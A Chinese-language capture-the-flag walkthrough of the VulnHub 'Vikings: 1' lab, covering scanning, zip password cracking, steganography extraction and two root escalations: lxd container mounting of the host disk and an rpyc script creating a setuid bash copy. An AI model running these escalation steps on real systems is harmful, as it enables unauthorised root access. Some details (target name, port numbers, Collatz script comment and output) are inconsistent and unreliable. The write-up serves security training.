vulnhub靶場之VIKINGS: 1

2022-11-16 12:00:52

準備:

攻擊機:虛擬機器器kali、本機win10。

靶機:DRIPPING BLUES: 1,網段地址我這裡設定的橋接,所以與本機電腦在同一網段,下載地址:https://download.vulnhub.com/vikings/Vikings.ova,下載後直接vbox開啟即可。

知識點:binwalk獲取隱藏資訊、base64檔案解密、john爆破密碼、考拉茲猜想、rpyc提權、lxd提權。

資訊收集:

通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.1.0/24,獲得靶機地址:192.168.1.34。

掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.1.34,顯示開放了21、80埠,開啟了ssh、http服務。

存取web服務並檢查原始碼資訊未發現有效資訊,使用dirmap進行目錄掃描,發現war.txt。

存取war.txt檔案給出了一個目錄:/war-is-over,存取該目錄:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字串。

字串解密:

將base64編碼(最後存在=,猜測應該是base64)的字串進行解碼儲存到本地並使用file檢視檔案型別,獲得檔案型別為zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。

修改檔案字尾名然後進行解壓檔案,但是顯示需要密碼。使用fcrackzip進行密碼的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失敗。

fcrackzip爆破失敗,那我們就使用zip2john把他的密碼資訊提取出來,命令:zip2john upfine.zip > passwd,然後使用john進行破解,命令:john passwd --show,成功獲得密碼:ragnarok123。

對檔案進行解密,解密之後發現是一張圖片。

圖片解密:

使用steghide獲取隱藏資訊,但是獲取失敗,就換了下工具使用binwalk獲取隱藏資訊,發現存在一個user檔案。

使用binwalk獲取下user檔案並進行檢視,命令:binwalk -e king。檢視後獲得兩組字串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。

獲取shell:

根據獲取的字串資訊猜測是一組賬戶名和密碼,經過測試最終:floki:f@m0usboatbuilde7可以成功登入。

在當前賬戶下檢視下目錄資訊,發現了readme.txt檔案和boat檔案並讀取檔案內容,內容資訊告訴我們要找到ragnar,這裡猜測這是一個賬戶,boat檔案告訴我們要進行考拉茲猜想第29個素數。

提權-方式一:

檢視當前使用者下具有root許可權的可執行檔案都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,發現了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到過policykit兩個漏洞:CVE-2021-4034和CVE-2021-3560,在這裡測試無法提權。但是lxd提權在這裡是可以實現的。

這裡不是一個完整的lxd提權漏洞,因為映象等一些資訊都是已經安裝好的,在我們進行安裝時提示我們已經存在了,所以我們直接利用他原有的映象就可以實現提權。

檢視下image列表資訊,命令:lxc image list。

之後依次執行下面語句,成功獲得root許可權。

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

獲得root許可權後進入root目錄:cd /mnt/root/root,發現root.txt檔案並讀取flag值。

提權-方式二:

考拉茲猜想:

先理解下考拉茲猜想,直接看下圖,這個說的很直觀。

查詢了一下第29個素數,顯示是109,那寫一個簡單的指令碼跑一下29的Collatz 序列。

collatz指令碼
#對任意正整數n,若n為偶數則除以1,若n為奇數則乘3再加1,如此反覆,其結果最終必會達到1
#部落格園@upfine

num = 109
collatz=[109]
while num != 1:
    if num % 2 == 1:
        num = num * 3 + 1
    else:
        num = num / 2
    if num <= 127 and num >32:  #asii表內字元對應的10進位制範圍
        collatz.append(int(num))
print(collatz)
Collatz 序列結果
 [109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]

然後寫一個簡單的指令碼對Collatz 序列進行轉換,轉換後獲得一串字串:mR)|>^/Gky[gz=\.F#j5P(,猜測是密碼。

獲取ragnar賬戶shell:

嘗試使用ragnar/mR)|>^/Gky[gz=\.F#j5P(進行shell登入,成功登入,在ragnar賬戶下發現第一個flag資訊。

提權:

在ragnar賬戶目錄下,發現多出來了一個.profile檔案,檢視該檔案內容發現以root許可權呼叫了/usr/local/bin/rpyc_classic.py檔案。

檢視該檔案許可權,顯示只具有讀取許可權,無法寫入。這裡找了下指令碼直接將root許可權進行復制。

import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
        import os
        os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
 
fn = conn.teleport(getshell)
fn()

 寫入exp.py檔案進行執行,會在/tmp資料夾下生成bashroot檔案,執行bashroot檔案(./bashroot -p)獲得root許可權。

 在root目錄下發現root.txt檔案,讀取檔案資訊獲取到flag。